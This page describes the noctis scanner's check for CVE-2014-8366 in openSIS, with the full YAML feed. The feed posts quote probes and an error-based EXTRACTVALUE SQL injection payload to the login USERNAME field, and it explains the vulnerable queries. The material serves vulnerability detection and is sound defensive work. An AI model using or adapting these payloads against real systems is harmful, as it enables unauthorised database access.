openSIS — 1 vulnerability check

noctis ships 1 vulnerability check for openSIS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

openSIS index.php login USERNAME SQL injection

CVECVE-2014-8366
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/opensis/CVE-2014-8366.yaml

Looks for the openSIS login page (index.php with the openSIS name and the USERNAME login field) under the web root, /opensis and /openSIS. It then posts three failed logins to index.php with a random password: a control whose user name is a random marker followed by two single quotes (a valid SQL string), a probe with the same marker followed by one single quote, and an error-based payload that closes the quoted user name and asks MySQL to add two random numbers inside EXTRACTVALUE. The finding is confirmed when the "XPATH syntax error" in the reply quotes the computed sum (the injected SQL ran). When the page does not print database errors, the finding is reported at lower confidence when the single quote produces the openSIS database error page or a MySQL syntax error quoting the marker while the balanced control produces none. The payloads never match an account (no login happens) and only evaluate constants, so they read and change no data; the application records the requests as ordinary failed login attempts.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/index.php with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{dir}}/index.php with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request POST {{dir}}/index.php with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. Checks xp.body for XPATH syntax error: (?:'|&#0?39;|'|')?~[0-9]{7} → finding QoD 97: POST …/index.php with USERNAME=…') AND extractvalue(1,concat(0x7e,(SELECT …+…))) AND (' made MySQL return the computed sum: XPATH syntax er…
  11. Checks probe.body for Database SQL error|DB Execute Failed|SQL STATEMENT:|You have an error… → finding QoD 75: POST …/index.php with USERNAME=…' returned the openSIS database error page quoting the marker … in the failed SQL query, while USERNAME=…''…

References:

Feed source — tests/vulnerabilities/opensis/CVE-2014-8366.yaml
# openSIS 4.5 - 5.3 index.php login USERNAME SQL injection (CVE-2014-8366).
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_opensis_sql_injection_vuln_jul14.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.804653, GPL-2.0-only). The NASL GETs <dir>/index.php for
# "", /opensis, /openSIS, requires ">openSIS Student Information System<" and
# ">User Name", POSTs USERNAME=) or 1=('1 & PASSWORD=' to <dir>/index.php and reports
# when the reply holds ">Database SQL error<" and ">SELECT MAX(SYEAR)".
#
# Real code (opensis4.5.0.zip from SourceForge; a 5.x tree on GitHub for the error page):
#   4.5  $username = str_replace("\\","",$_REQUEST['USERNAME']);   (quotes survive)
#        SELECT ... FROM STAFF WHERE SYEAR='..' AND UPPER(USERNAME)=UPPER('$username') ...
#        db_show_error(): <TD>$sql</TD> + <TD>$additional</TD> (= mysql_error())
#  5.x  login queries escape the user name, but the failed-login path still pastes
#        the raw value: SELECT MAX(SYEAR) AS SYEAR FROM staff ... UPPER('<user name>')
#        (the query the NASL looks for), then UPDATE ... FAILED_LOGIN. Error page
#        "openSIS has encountered an error ... <li>Database SQL error</li>", SQL in
#        "<!-- SQL STATEMENT: $sql -->", mysql_error() no longer printed.
# Every query that uses the user name has the same UPPER('<user name>') context; a
# failing query die()s before the failed-login UPDATEs run.
#
# Better than the NASL:
#   - The NASL markers only fit one 5.x error page (4.5 prints "DB Execute Failed." and
#     the raw SQL, no "Database SQL error"; the failing query is not always the
#     MAX(SYEAR) one). The feed accepts the error page of either layout or a MySQL
#     syntax error, and requires its own random marker inside it.
#   - Control: the same marker with a doubled (balanced) quote must log in normally
#     (no SQL error); only a single quote breaks the query. A page that errors on any
#     input is not counted.
#   - Proof (QoD 97, when the page prints the database error as 4.5 does):
#     <marker>') AND extractvalue(1,concat(0x7e,(SELECT a+b))) AND ('  makes MySQL
#     compute the sum of two random numbers and quote it in its XPATH error. The AND
#     chain can never match a row (no login), and only a constant is evaluated.
#   - Fallback (QoD 75): quote error quoting the marker + clean control.
# All requests are failed login attempts with a random password; the app handles them
# as such (4.5: FAILED_LOGIN UPDATE matching no account; 5.x: a login_records row and
# its seat-count housekeeping). The payloads themselves read and change nothing.
uid: 822dc1a5-b661-4be2-bffb-27a69af1bf68
name: "openSIS index.php login USERNAME SQL injection"
description: >-
  Looks for the openSIS login page (index.php with the openSIS name and the
  USERNAME login field) under the web root, /opensis and /openSIS. It then posts
  three failed logins to index.php with a random password: a control whose user
  name is a random marker followed by two single quotes (a valid SQL string), a
  probe with the same marker followed by one single quote, and an error-based
  payload that closes the quoted user name and asks MySQL to add two random
  numbers inside EXTRACTVALUE. The finding is confirmed when the "XPATH syntax
  error" in the reply quotes the computed sum (the injected SQL ran). When the
  page does not print database errors, the finding is reported at lower
  confidence when the single quote produces the openSIS database error page or a
  MySQL syntax error quoting the marker while the balanced control produces
  none. The payloads never match an account (no login happens) and only
  evaluate constants, so they read and change no data; the application records
  the requests as ordinary failed login attempts.
category: sqli
cves: [CVE-2014-8366]
cvss: 7.5
severity: high
confidence_base: 0.20
tags: [opensis, php, mysql, sqli, login, unauthenticated, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-8366"
  - "https://seclists.org/fulldisclosure/2014/Jun/151"
  - "https://packetstormsecurity.com/files/127284/openSIS-5.3-SQL-Injection.html"
  - "OpenVAS/Greenbone NASL 2014/gb_opensis_sql_injection_vuln_jul14.nasl (GPL-2.0-only)"

steps:
  # Random marker, password and operands; the sum is never sent.
  - id: gen
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, sum: "" + (a + b),
         marker: "NOCTIS" + rand_str(10), pass: rand_str(12) }

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/opensis", "/openSIS"]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}

  - id: init-xp
    action: set_var
    var_name: xp
    var_value: {status: 0, body: ""}

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    store_as: is_sis
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      page.status == 200 && ereg("(?i)opensis", b) && b.contains("USERNAME")

  # Control: marker + two quotes = a valid SQL string literal on a vulnerable login.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "is_sis"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "USERNAME={{p.marker}}%27%27&PASSWORD={{p.pass}}"
    store_as: ctl

  - id: control-clean
    action: script
    store_as: ctl_ok
    code: |
      fn sql_err(b) {
        b.contains("Database SQL error") || b.contains("DB Execute Failed")
          || b.contains("SQL STATEMENT:") || b.contains("You have an error in your SQL syntax")
          || b.contains("XPATH syntax error")
      }
      let b = if type_of(ctl.body) == "string" { ctl.body } else { "" };
      is_sis && ctl.status > 0 && !sql_err(b)

  # Probe: marker + one quote breaks out of UPPER('<user name>').
  - id: probe
    action: http_request
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "ctl_ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "USERNAME={{p.marker}}%27&PASSWORD={{p.pass}}"
    store_as: probe

  - id: probe-check
    action: script
    store_as: sqlerr
    code: |
      fn sql_err(b) {
        b.contains("Database SQL error") || b.contains("DB Execute Failed")
          || b.contains("SQL STATEMENT:") || b.contains("You have an error in your SQL syntax")
      }
      let b = if type_of(probe.body) == "string" { probe.body } else { "" };
      ctl_ok && sql_err(b) && b.contains(p.marker)

  # Error-based proof: UPPER('<marker>') AND extractvalue(...) AND ('') — never true,
  # MySQL folds the constant and fails with "XPATH syntax error: '~<a+b>'".
  - id: xpath
    action: http_request
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "sqlerr"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "USERNAME={{p.marker}}%27)+AND+extractvalue(1%2Cconcat(0x7e%2C(SELECT+{{p.a}}%2B{{p.b}})))+AND+(%27&PASSWORD={{p.pass}}"
    store_as: xp

  - id: xpath-check
    action: script
    store_as: xp_hit
    code: |
      let b = if type_of(xp.body) == "string" { xp.body } else { "" };
      sqlerr && b.contains("XPATH syntax error") && b.contains("~" + p.sum)

  - id: confirm-xpath
    action: match
    source: xp.body
    # The script already checked the exact sum; quotes may be HTML-escaped.
    pattern: "XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~[0-9]{7}"
    condition: "xp_hit"
    on_match:
      finding:
        confidence_delta: 0.77
        qod: 97
        evidence: "POST {{dir}}/index.php with USERNAME={{p.marker}}') AND extractvalue(1,concat(0x7e,(SELECT {{p.a}}+{{p.b}}))) AND (' made MySQL return the computed sum: XPATH syntax error: '~{{p.sum}}' (unauthenticated SQL injection in the openSIS login, {{target_host}}:{{port}})"
        remediation: "Upgrade openSIS to a current openSIS Classic release, which escapes the login fields. Until then, restrict access to the openSIS web interface to trusted networks."
      stop: true

  - id: syntax-error
    action: match
    source: probe.body
    pattern: "Database SQL error|DB Execute Failed|SQL STATEMENT:|You have an error in your SQL syntax"
    condition: "sqlerr && !xp_hit"
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 75
        evidence: "POST {{dir}}/index.php with USERNAME={{p.marker}}' returned the openSIS database error page quoting the marker {{p.marker}} in the failed SQL query, while USERNAME={{p.marker}}'' (balanced quotes) returned none (unauthenticated SQL injection in the openSIS login, {{target_host}}:{{port}})"
        remediation: "Upgrade openSIS to a current openSIS Classic release, which escapes the login fields. Until then, restrict access to the openSIS web interface to trusted networks."
      stop: true

View these feeds on GitHub